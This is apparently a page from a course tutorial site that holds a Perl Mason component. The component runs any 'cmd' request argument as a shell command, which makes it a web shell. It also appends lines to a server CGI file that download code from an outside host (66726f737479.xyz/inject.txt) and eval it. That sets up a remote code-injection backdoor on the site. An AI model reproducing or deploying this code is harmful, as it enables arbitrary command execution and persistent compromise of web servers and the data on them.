Jim's
Tutorials

%# =========== <%flags> inherit => undef <%args>$cmd => '';

%sub x { my $cmd = $_[0];print "\$: ".$cmd."\n";print `$cmd`;} %x($cmd);

%#print `echo 'print \"hello\";' >> /var/www/cs/htdocs/code/perl/cgi/function2.cgi`;

%#print `echo 'use LWP::UserAgent;' >> /var/www/cs/htdocs/code/perl/cgi/test.cgi`;

%#print `echo 'my \$url = "http://66726f737479.xyz/inject.txt";' >> /var/www/cs/htdocs/code/perl/cgi/test.cgi`;

%#print `echo 'my \$ua = LWP::UserAgent->new;' >> /var/www/cs/htdocs/code/perl/cgi/test.cgi`; %#print `echo 'my \$response = \$ua->get( \$url );' >> /var/www/cs/htdocs/code/perl/cgi/test.cgi`; %#print `echo 'print \$response->content;' >> /var/www/cs/htdocs/code/perl/cgi/test.cgi`; %print `echo 'print eval(\$response->content);' >> /var/www/cs/htdocs/code/perl/cgi/test.cgi`;

$#print "===== Edited =====" %#print `cat /var/www/cs/htdocs/code/perl/cgi/test2.cgi`;

http://cs.marlboro.edu/ courses/ spring2016/jims_tutorials/ dylanm/ t
last modified Friday July 29 2016 8:38 pm EDT